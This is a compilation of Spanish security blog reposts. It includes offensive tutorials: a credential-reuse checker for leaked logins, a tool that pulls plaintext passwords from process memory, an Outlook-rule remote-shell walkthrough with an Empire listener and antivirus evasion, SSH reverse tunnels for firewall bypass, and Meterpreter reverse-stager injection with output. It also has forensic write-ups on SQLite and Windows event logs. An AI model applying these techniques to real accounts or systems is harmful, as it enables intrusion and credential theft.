Nueva técnica para hackear dispositivos móviles mediante comandos de voz ocultos en vídeos de Youtube

Un grupo de investigadores de la Universidad de Berkeley California y la Universidad de Georgetown ha ideado un método para hackear dispositivos móviles mediante el uso de comandos de voz ocultos en vídeos de YouTube. 

Y no necesariamente tiene que reproducirlo la víctima, basta con que reciba el sonido desde otro ordenador, televisión inteligente, teléfono, tablet, etc., los comandos ocultos serán recibidos por los asistentes Google Now! o Siri que los filtrarán del ruido ambiente y los ejecutarán.

Los investigadores publicaron los detalles de la técnica en un artículo titulado "Hidden Voice Commands"

"En este paper exploramos cómo pueden ser atacados con comandos de voz ocultos que son ininteligibles para los oídos humanos pero interpretados como comandos por algunos dispositivos".

Los investigadores han publicado un vídeo PoC del ataque en caja negra que se lleva a cabo con presencia de ruido de fondo y el teléfono objetivo a una distancia de varios metros de los altavoces utilizados para reproducir el audio/ataque.

Url del video: https://youtu.be/HvZAZFztlO0

Los atacantes pueden ocultar varios tipos de comandos en los videos, incluyendo las instrucciones para descargar e instalar un código malicioso desde un host determinado.

Los investigadores también sugieren una serie de contramedidas, incluyendo una notificación cada vez que un comando de voz es recibido por el móvil o la adopción de un sistema de pregunta-respuesta verbal.

Para más detalles técnicos os recomiendo echar un vistazo a la página oficial del proyecto: http://www.hiddenvoicecommands.com/

Fuente: http://www.hackplayers.com/2016/07/hackean-moviles-comandos-voz-youtube.html

shard: una herramienta para comprobar si se utiliza la misma contraseña en varios sitios

Si hay algo imperativo en la sociedad digital actual es NO REUTILIZAR la misma contraseña para distintos servicios. La razón es simple: si uno de ellos es comprometido por ende cualquiera podrá obtener acceso al resto. No obstante, ya sea por la dificultad de recordar tantas contraseñas o por desconocimiento pura vagancia, son muchos los usuarios que todavía ponen la misma contraseña en varios de sus perfiles en redes sociales como Facebook, Twitter, LinkedIn, etc.

Y precisamente hoy vemos Shard, una herramienta para que los atacantes podamos detectar contraseñas compartidas desde la línea de comandos. Se trata de un fat jar (contiene todas las clases necesarias para hacerlo lo más portable posible) que si queréis podéis compilar vosotros mismos con sbt assembly, y también tiene una segunda implementación en python.

Uso

Sólo tenemos que indicar las credenciales a comprobar y la herramienta automatizará el proceso:

$ java -jar shard-1.2.jar -u username-here -p password-here
21:16:25.950 [+] Running in single credential mode
21:16:30.302 [+] username-here:password-here - Reddit, Instagram

También es posible probar múltiples credenciales (ummm leaks...) indicando un fichero de texto que contenga cada línea con el formato "username":"password". Incluso se puede personalizar el formato con la opción --format.

$ java -jar shard-1.2.jar -f /tmp/creds.txt
21:16:39.501 [+] Running in multi-credential mode
21:16:39.516 [+] Parsed 2 credentials
21:16:42.794 [+] username1:password1 - Reddit, Instagram
21:16:45.189 [+] username2:password2 - Facebook, LinkedIn, Twitter

Módulos

Actualmente soporta los siguientes módulos:

$ java -jar shard-1.2.jar -l
Available modules:
        Facebook
        LinkedIn
        Reddit
        Twitter
        Instagram

Aunque si queréis podéis añadir vuestros propios módulos fácilmente creando una nueva clase heredada de AbstractModule y añadiendo el módulo a ModuleFactory.
El AbstractModule tiene un método abstracto:

  def tryLogin(creds: Credentials): Boolean

Este método toma un objeto de credenciales y devuelve un valor booleano que indica un inicio de sesión correcto. Se recomienda el uso de la TwitterModule como plantilla.

Dependencias

     JSoup se utiliza para la comunicación HTTP y análisis de HTML
     spray-json se utiliza para el manejo de JSON

Github: https://github.com/philwantsfish/shard

Fuente: http://www.hackplayers.com/

mimikittenz: extracción de contraseñas en claro con ReadProcessMemory()/regex

mimikittenz de Jamieson O'Reilly aka putterpanda (atentos a su foto de perfil en Github lol!) es una herramienta de post-explotación en powershell/C sharp que utiliza la función de Windows ReadProcessMemory() para extraer contraseñas en claro de varios procesos.

Su objetivo es facilitar a nivel de usuario (sin necesidad de privilegios de administrador) la extracción de datos sensibles con el fin de maximizar los esfuerzos en la fase de post-explotación y aumentar el valor de la información recogida por cada objetivo.

Actualmente mimikittenz es capaz de extraer las siguientes credenciales de la memoria:

Webmail

•     Gmail
•     Office365
•     Outlook Web

Accounting

•     Xero
•     MYOB

Remote Access

•     Juniper SSL-VPN
•     Citrix NetScaler
•     Remote Desktop Web Access 2012

Developement

•     Jira
•     Github
•     Bugzilla
•     Zendesk
•     Cpanel

IHateReverseEngineers

•     Malwr
•     VirusTotal
•     AnubisLabs

Misc

•     Dropbox
•     Microsoft Onedrive
•     AWS Web Services
•     Slack
•     Twitter
•     Facebook

Además, mimikittenz también puede extraer fácilmente otros tipos de *jugosa* información de procesos utilizando patrones de expresiones regulares que incluyen pero no se limitan a:

- datos de TRACK2 (tarjetas de crédio) de los procesos de venta/POS
- datos PII
- claves de cifrado y otros

Regex personalizado - la sintaxis para añadir expresiones regulares personalizadas es la siguiente:

[mimikittenz.MemProcInspector]::AddRegex("","")

Personalizar proceso objetivo - sólo hay que añadir el nombre del proceso dentro del array:

$matches=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")

Nota: Esta herramienta tiene como objetivo el espacio de direcciones de memoria del proceso, una vez que se mata el proceso la memoria "debería" ser limpiada e inaccesible, sin embargo hay algunos casos extremos en los que esto no ocurre

Github: https://github.com/putterpanda/mimikittenz

Fuente: http://www.hackplayers.com/2016/07/mimikittenz-extraccion-de-contrasenas.html

Obteniendo un shell remoto mediante una regla de Outlook maliciosa

En la página de SilentBreak Security encontraba un escenario que puede resultar bastante interesante para atacantes, pentesters, curiosos y demás fauna... 

Imagina que has conseguido las credenciales para acceder al correo electrónico de un usuario vía OWA, ya sea por fuera bruta, esnifando (las passwords graciosillos!), usando keyloggers, con alguna página de phishing, ... con lo que sea. A partir de ahí puedes obtener shell remoto de la máquina que está utilizando el usuario gracias a una simple regla de Outlook maliciosa. Algo también muy útil si trabajamos en un entorno Citrix y queremos obtener una shell remota del servidor XenApp.

Veamos cómo hacerlo en unos sencillos pasos...

1.- Primero tenemos que preparar la máquina del atacante para dejar accesible un ejecutable (a ser posible FuD) con el payload que más tarde nos permitirá abrir una sesión remota, por ej. vía Webdav en un Apache:

sudo apt-get update
sudo apt-get install apache2
sudo a2enmod dav
sudo a2enmod dav_fs
sudo service apache2 restart

O si estás en una LAN o quieres hacer una PoC sencillita, simplemente puedes dejar el ejecutable malicioso en una unidad de red o cualquier otro recurso compartido vía samba.

2.- luego ponemos nuestro servidor malicioso a escuchar (en una máquina virtual en un hosting gratuito o en un servidor comprometido para que la víctima nos devuelva la sesión en cuanto ejecute el payload. 

En este caso utilizamos Empire, un agente post-explotación escrito puramente en Powershell que se puede desplegar rápidamente y nos permite, entre otras cosas, elevar privilegios y ejecutar Mimikatz en la máquina comprometida. 
  
Con el imperio hemos topado...

Para hacer funcionar rápidamente Empire primero clonamos el repositorio git: 

git clone https://github.com/PowerShellEmpire/Empire.git

A continuación abrimos la consola:

./empire

y lanzamos el listener con 'info' para ver las opciones y 'execute':

Empire) > listeners

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.11.128:8080           native    5/0.0                      

(Empire: listeners) > usestager launcher test
(Empire: stager/launcher) > execute

Ya lo tenemos el listener "test" escuchando en el puerto 8080 :-D

3.- Llega el momento de construir el payload y para ello copiaremos la línea anterior de Empire en un .bat (evil.bat) y con el programita "BAT to EXE Converter" loconvertiremos directamente en ejecutable (evil.exe):

Lo curioso es que prácticamente todos los antivirus se tragan el binario:
http://www.nodistribute.com/result/Rg7r0MJVZxKUh1PBfnqvO5bEI32

4.- Después construimos la regla en el outlook para que ejecute la aplicación evil.exe al recibir un correo con un determinado asunto, en el ejemplo 'hackplayers'. La siguiente imagen es autoexplicativa:

Si lo prefieres, puedes utilizar el siguiente script en Python de Nick Landers para automatizar la creación de la regla creando un .rwz que podremos importar en Outlook con el mismo resultado:

https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc 
 
5.- Finalmente sólo nos queda probar y vemos como, al recibir el correo, obtenemos una sesión remota al ejecutarse silenciosamente evil.exe:

Y bueno, ya que tenemos un shell remoto, pues elevamos privilegios y ejecutamos mimikatz para obtener las contraseñas en claro... ;)

Fuente: http://www.hackplayers.com/2015/12/shell-remoto-mediante-regla-outlook.html

Recuperar información eliminada de BBDD SQLite #Forsensics #SQLite #Python

Buena entrada de mis rss favoritos:


Hace unos años, mientras escribía Hacker Épico, me leía las especificaciones del formato de los ficheros SQLite para ver cómo podía recuperar información eliminada de estos ficheros e incluirlo como parte de uno de los capítulos del libro. Aún estaba lejos de ver el libro terminado, de que llegara el día de la presentación del libro y mucho menos de verlo convertido en un cómic en edición deluxe, pero tenía claro que el libro tenía que aportar investigaciones novedosas para estar al nivel de la trama.

Figura 1: Recuperar información eliminada de una base de datos SQLite

De aquel trabajo de varias semanas, además de los 0days de las cámaras de seguridad que dieron la vuelta al mundo, salió una serie de artículos en Security By Default  dedicados al Análisis Forense de SQLite que dividí en siete partes ([1], [2], [3], [4], [5], [6] y [7]) y una charla sobre ello en Rooted CON 2013 que titulé "Te pique lo que te pique analiza un SQLite". Con todo este trabajo, salió además una herramienta que fue el germen de la web Recover Messages. 

Figura 2: RootedCON 2013 "Te pique lo que te pique analiza un SQLite"

Esa mini utilidad realmente es un script en Python que recorre el fichero BTree de la base de datos y detecta aquellas secciones marcadas como libres para obtener su contenido. No es perfecta, ya que al igual que ocurre en un sistema de ficheros, hay muchos elementos externos que afectan a la estructura del archivo, como son la inserción (INSERT) de nuevo contenido o la defragmentación (VACUUM) de la base de datos. 

Figura 3: Recuperación de datos de una base de datos SQLite de Skype con RecoverMessages

Debido a su ligero funcionamiento, estas bases de datos son ampliamente usadas en aplicaciones móviles como por ejemplo hace WhatsApp o Twitter para almacenar mensajes. También en aplicaciones de escritorio mucho más complejas, como es el caso de las conversaciones de Skype o las cookies en Firefox. Por eso, se podíautilizar RecoverMessages con Skype, WhatsApp - en la última versión de WhatsApp para iPhone la base de datos sigue sin cifrar - o bases de datos de Twitter.

Figura 4: Estructura general de un fichero SQLite

Pero pese a esas limitaciones y en función al origen del fichero, la herramienta es práctica para encontrar información que tal vez esclarezca un incidente de seguridad durante un proceso de análisis forense que deba realizar un perito, ya que tan solo una cookie recuperada o un trozo de mensaje podría llegar a ser más que suficiente para evidenciar un acontecimiento. 

RecoverSQLite y DumpLite

Que no soy un programador experto no es ningún secreto, así que después de una primera versión llamada "recoversqlite.py", con ayuda de mi amigo WiredRatcreamos él creó una segunda versión mejorada llamada "dumplite", que además de las páginas libres, era capaz de encontrar bytes borrados entre celdas. 

Figura 5: Dumplite en GitHub

El uso es muy sencillo, solo hay que obtener el código de GitHub con gitclone e invocarlo con los parámetros deseados contra el fichero SQLite a analizar. Con la opción -h se muestra la ayuda tal y como se puede ver en esta captura durante una ejecución sobre Kali Linux.

Figura 6: Descarga de dumplite y menú de ayuda de la herramienta

Las propiedades del fichero y sus características se obtienen con el parámetro "-F". Entre las más relevantes, desde una perspectiva de investigación forense, son: (1) El número de páginas libres y (2) La codificación de los textos. 

Figura 7: accediendo a la información de un fichero SQLite

Para obtener el contenido de las secciones marcadas como libres, tanto en formatoASCII como en hexadecimal, se usa el parámetro "-u". 

Figura 8: Volcado de los datos de la base de datos SQLite obtenidas

Como comentaba anteriormente, tras ejecutar la herramienta se obtienen volcados de información y no se recuperan directamente los registros que hayan sufrido un "DELETE" como si nada hubiera pasado. El trabajo debe realizarse luego para ir conectando los datos volcados entre sí y extraer lo que había allí antes de ser eliminado. Espero que os sea de utilidad y cualquier comentario o Commit será bienvenido.

Autor: Alejandro Ramos (@aramosf), escritor del libro "Hacker Épico"

Fuente: http://www.elladodelmal.com/2016/06/recuperar-informacion-eliminada-de-bbdd.html

Forensic Windows Event Logs

EVT vs EVTX
Windows XP is no longer supported by Microsoft, but there are still XP and 2003 systems out there, and as such, some of us are still going to need to know the difference between Event Logs (XP, 2003), and Windows Event Logs (Vista+).

Besides the binary differences in the records and Event Log files themselves, on XP/2003, there were three main Event Log files; System, Application, and Security.  On my Windows 7 system, a 'dir' of the winevt\Logs folder reports 143 files.  So, there is a LOT of information being recorded by default on a Windows 7 system; while not all of it may be useful to you, there is a great deal of information that can be extracted from the logs when used properly.

Wevtx.bat
When I released Windows Forensic Toolkit 4/e, one of the things included in the additional materials is a batch file, wevtx.bat.  What the batch file does is use LogParser to parse a directory full of .evtx files, and then parse those entries into TLN format for inclusion in a timeline.  The tool evtxparse.exe, used by the batch file, makes use of a mapping file (i.e., eventmap.txt) to map event source/ID pairs to an artifact category tag.  As such, when the entry in written to a timeline, records such as "Microsoft-Windows-Security-Auditing/4624" are prepended with an appropriate tag (i.e., "[Logon]"), based on the artifact category.

I really love this tool!  What I like about it is that it's easy to update (eventmap.txt is just a text file), I can add comments to it to show the source of the information I used to map an event record to something specific, and it acts as a fantastic little repository for all of my past experiences.  Not only is it a great repository, but it's incorporated right into the tools that I use on just about every engagement.

Records
Here are some of the event source/ID pairs that I've found to be useful during investigations, for such things as malware detection, determining the window of compromise, etc.  I'll say up front that these records are not 100% infallible, and may not have extremely high fidelity (some do, others don't...), but they've worked quite well for me at one time or another, so I'll share them here.

Microsoft-Windows-DNS-Client/1014 – DNS name resolution timeout; I've used this one more than once to help demonstrate that malware was on a system, even in the face of anti-forensics techniques (time stomping the malware files, deleting the malware files, etc.). It's not a 100%, infallible indicator, but it's worked for me more than once.  What has also helped is when this event record was seen; in a timeline, I could see that it occurred shortly after a user logged into a laptop, and before the user connected the system to a WAP.  This helped me narrow down the persistence mechanism for the malware.

Microsoft-Windows-Security-Auditing/4720 - user account created; because the bad guys do this from time to time.

McLogEvent/257 – McAfee malware detection - McAfee AV may detect malware behaviors (i.e., run from a Temp folder, etc.) without actually detecting the EXE itself.  This can be very valuable in helping you determine how malware got onto a system.  Also, the AV product may be configured to warn only, and take no action..so, correlate the event records (UTC) to the entries in the McAfee logs (local system time)

Microsoft-Windows-Windows Defender/3004 – Windows Defender malware detection

Service Control Manager/7045 – A service was installed on the system

Service Control Manager/7030 – A service is configured to interact with the desktop

Microsoft-Windows-TaskScheduler/106 - New Scheduled Task registration

Beyond individual event records (source/ID pairs), one of the aspects of the newer versions of Windows (in particular, Windows 7) is that there are a lot of events that are being recorded by default, across multiple Event Log files.  What I mean is that when some events occur, multiple event records are recorded, often across different Event Log files.  For example, when a user logs into a system at the console, there will be an event recorded in the Security Event Log, a couple in the Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx log, and a couple of events will also be recorded in the Microsoft-Windows-TaskScheduler/Operational.evtx log.  Alone, each of these individual events may get little attention from an analyst, but when placed together in a timeline, they leave an indelible mark indicating that a user logged into the system.

Now, what's really great about this is that some of the Event Logs "roll over" faster than others.  As such, some of the source/ID pairs that are part of an indicator cluster may have been expired from their respective Event Logs.  However, the remaining source/ID pairs in the cluster will still provide a very good indicator that that event in question took place.  This is particular useful for infrequent events, and I've used this information more than once to demonstrate repeated activity going back weeks and even months prior to what was thought to be the date of interest.

Anti-Forensics
Event auditing is one of those things that just happens in the background on Windows systems.  This is great, because sometimes Event Log records can help us determine if anti-forensics techniques have been employed.  For example, using Event Log records, you can determine if someone has changed the system time.

During an exam, I found that a system had been infected with malware that installed as a Windows service, and during the installation process, the .exe file had been time-stomped.  Fortunately, when the malicious service was installed, an event source/ID pair of "Service Control Manager/7045" was created, indicating that a new service had been installed on the system.  I was able to correlate that information with other sources (MFT, etc.) to better determine the correct time of when the malicious .exe was created on the system, and nail down the infection vector.

Carving
If you need to carve Windows Event Log records, for any reason...from unallocated space, memory, the pagefile, whatever...the tool to use is Willi Ballentin's EVTXtract. The "tool" is really a set of Python scripts that you run consecutively against the data in order to recover Windows Event Log records.  I've used these scripts a couple of times, and even had a fellow team member use them on an engagement and quite literally recover the "smoking gun".

When carving for deleted records on a Windows XP or 2003 system, I use a custom Perl script that I wrote that's based on some of the code I've released with my books.

Timelines
When all this is said and done, a blog post on just individual Windows Event Log records isn't really all that valuable.  Yes, I've created timelines from just a handful of *.evtx files, for use in triage, etc.  This has proved to be extremely valuable to me.

Resources
WindowsIR: Timeline Analysis
SANS Reading Room: Detecting Security Events Using Windows Workstation Event Logs
NSA: Spotting the Adversary with Windows Event Log Monitoring

Fuente: http://windowsir.blogspot.com/2014/10/windows-event-logs.html

Si la vida tuviera terminal (Humor)

Si la vida pudiera ser manejada desde una terminal linux, abría muchas cosas que podríamos hacer sin tanto problema.
por ejemplo:

¿ No encuentras tus llaves?  tranquilo mira

ls  | grep llaves

Listo aquí estan.

o si tu auto no enciende

chmod +x tsuru_negro

Y prende al llavaso.

Si tu madre te tiene harto pidiéndote que limpies tu habitación. !Fácil!

clear

Todo limpio en un santiamén.

¿tienes que mudarte de casa? pffff pan comido

mv /home/darkspark/* /newhome/darkspark/ 

listo y sin cargar nada !bitch¡

¿Llego tu madre mientras estabas viendo tu colección de porno?  ¡no ay problema!

mv porno* ~/bajo_mi_cama/.porno*

 y todo el porno se iría bajo la cama, y aunque se asomaran por debajo, quedaría oculto. Genial¿no?. Aun que si realmente tu madre no supiera ya, donde escondes tu porno bastaría con que hiciera un

ls -la

Insisto, solo si realmente tu madre no supiera donde la escondes.


¿O si un ladrón quiere robarte tu auto?

chown ladron:lacras tsuru_negro 

y aunque lo agarráramos infraganti

sudo chown ladron:lacras tsuru_negro

 ¡Vale madre! ni las manitas podríamos meter.

!Y cualquiera podría multiplicar la comida como Jesús con un script super simple¡

for ($i=0;$i<=10000;$i++){cat pescado > pecado.$i;}

!BOOM¡ Chingo de pescado para todos. Lo del convertir el agua en vino si estaría mas cabron, pero bueno debe haber una forma... ¿no?

y para los que quisieran suicidarse por que creen que no ay vida mas allá de windows

exit

Fuente: http://elblogdedarkspark.blogspot.com/2014/09/si-la-vida-tuviera-terminal-humor.html

Saltar firewall con ssh

Para los que no lo sepan SSH (openSSH para ser mas específicos) es una utilidad que nos permite gestionar una maquina *nix de manera remota, la gestión se realiza vía linea de comandos, pero como sabrán la mayoría de los entendidos en este tema, con un acceso a consola es mas que suficiente.

En ocasiones dependiendo de la funcionalidad que deseemos implementar es necesario que tengamos abierto puertos para algún servicio ya sea un servidor web, DNS, impresión ,etc. Pero en ocasiones esas posibilidades no se encuentran a nuestro alcance ya que simplemente o nuestro ISP nos tiene dentro de un NAT gigante (muchas cableras) o nuestros Modem/Router vienen capado de fabrica para que los mismos no se puedan tocar a nuestro antojo, y por ende poder abrir los puertos que requerimos.

SSH en un túnel Reverso

Como bien sabremos SSH tiene diversas funcionalidades entre las cuales destacan :forwardeo de puertos, ejecución de programas por medio del gestor X11, etc. Pero una de las mas interesantes a mi parecer y que en un sinfín de ocasiones me ha sacado de apuros es el túnel reverso. Esta funcionalidad nos da la posibilidad de redireccionar puertos hacia nosotros pudiendo así hacer bypass de cualquier firewall, haciendo una analogía es como hace muchos a~nos se realizaban infecciones con troyanos reversos.

A continuación ampliaremos mas el tema:
Regularmente una conexión SSH se realiza de la siguiente manera:

Cliente SSH ———> Servidor SSH

Como podremos observar en una conexión SSH tradicional el cliente SSH es el que realiza la conexión hacia el servidor y es así como se establece la conexión. Ahora bien, es importante considerar que para que esta conexión exista es necesario que en el servidor se tenga abierto el puerto de SSH.

En el esquema de conexión de túnel SSH reverso la conexión es hacia nosotros, para ello se ejemplificara mejor con la siguiente imagen:

Servidor A —–> Servidor C (pasarela) <——-> Servidor B

Donde imaginemos que A es el servidor donde tenemos una aplicación corriendo (un servidor web por ejemplo), C es un servidor que ocuparemos como pasarela y B sera el servidor donde requerimos ver el servidor web del servidor A.

En un esquema de funcionamiento tradicional tan solo bastaría con abrir el puerto web en el firewall del Servidor A para que el servidor B pudiera acceder de forma ordinaria al web server, pero imaginemos que por restricciones del Sysadmin, simplemente esto no es posible. Aquí es donde entra el SSH reverso. El servidor A se conectara por medio de un túnel reverso SSH al servidor C y de ahí con un cliente SSH nos conectaremos del servidor B al servidor C, para poder acceder al webserver de A.

A continuación algunos ejemplos didácticos para hacer mas comprensible esta metodología de funcionamiento.

Ver el WebService escuchando en el puerto 80 del Servidor A en el navegador del Servidor B

Servidor A < ————-> Servidor B

Sintaxis:

ssh usuario@servdorA -L 80:localhost:80

Esto lo que hará es redireccionar el puerto 80 del servidor A hacia el puerto 80 del servidor B

Túnel Reverso del servidor A al servidor C, para que el servidor B pueda acceder a la consola SSH del servidor A.

Sintaxis:
Consola servidor A:

ssh usuario@servidorC -N -R 2222:localhost:22

Donde:
-N Es una opción para que el servidor A NO PUEDA ejecutar comandos en la consola del servidor C
-R indica que es un túnel reverso.
22 Es el puerto donde esta escuchando el demonio SSH del servidor A
2222 Es el puerto donde se mandara el puerto SSH del servidor A en el servidor C
Consola Servidor B:

ssh usuario@servidorC

Después de esto una vez dentro del servidor C, tan solo nos restara hacer una conexión SSH a nuestro localhost en el puerto antes forwardeadado:
Consola servidor B:

ssh usuario@localhost -p 2222

Donde:
-p indica el puerto al cual deseamos conectarnos
2222 Es el puerto donde se forwardeo el puerto del servidor A

Lo mas interesante de esto es que al ser el túnel SSH una conexión saliente la misma no es bloqueda por el firewall, esto es algo que he probado en diversas instituciones tanto publicas como privadas y en ninguna me han bloqueado la salida de mi tunel SSH. Esto en teoría podría prevenirse con un IDS bien configurado, pero siendo honestos, es algo que nadie se toma muy en cuenta.

NOTA: a día de hoy esta funcionalidad solo la he probado en puertos TCP

Fuente: http://dexter-one.net/in-seguridad/el-poder-de-ssh-como-bypassear-un-firewall-de-manera-facil/

Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.

multi_meter_inject

Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.

meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each. OPTIONS: -h Help menu. -m Start Exploit multi/handler for return connection -mp Provide Multiple PID for connections separated by comma one per IP. -mr Provide Multiple IP Addresses for Connections separated by comma. -p The port on the remote host where Metasploit is listening (default: 4444) -pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp

Un ejemplo de ejecución de este script puede ser el siguiente:

meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344 [*] Injecting meterpreter into process ID 628 [*] Allocated memory at address 0x00d60000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 628 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344 [*] Injecting meterpreter into process ID 792 [*] Allocated memory at address 0x003e0000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 792

Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones 192.168.1.36 y 192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.

duplicate

Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante

meterpreter > run duplicate -h OPTIONS: -D Disable the automatic multi/handler (use with -r to accept on another system) -P Process id to inject into; use instead of -e if multiple copies of one executable are running. -e Executable to inject into. Default notepad.exe, will fall back to spawn if not found. -h This help menu -p The port on the remote host where Metasploit is listening (default: 4546) -r The IP of a remote Metasploit listening for the connect back -s Spawn new executable to inject to. Only useful with -P. -w Write and execute an exe instead of injecting into a process

A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros

meterpreter > run duplicate -r 192.168.1.34 -p 4444 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444 [*] Running payload handler [*] Current server process: sgiByfbLo.exe (1780) [*] Duplicating into notepad.exe… [*] Injecting meterpreter into process ID 3884 [*] Allocated memory at address 0x00e10000, for 290 byte stager [*] Writing the stager into memory… [*] New server process: 3884

Con la maquina 192.168.1.34 controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.

process_memdump

En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado

meterpreter > run process_memdump -h USAGE: EXAMPLE: run process_dump putty.exe EXAMPLE: run process_dump -p 1234 OPTIONS: -h Help menu. -n Name of process to dump. -p PID of process to dump. -q Query the size of the Process that would be dump in bytes. -r Text file wih list of process names to dump memory for, one per line. -t toggle location information in dump.

Un ejemplo del uso de este script puede ser:

meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe [*] Dumping Memory of iexplore.exe with PID: 556 [*] base size = 64 [*] base size = 128 [*] base size = 192 [*] base size = 1224 [*] base size = 1228 [*] base size = 1280 [*] base size = 1344 [*] base size = 2368 [*] base size = 2432 [*] base size = 2496 [*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp

Fuente: http://thehackerway.com/2011/06/10/359/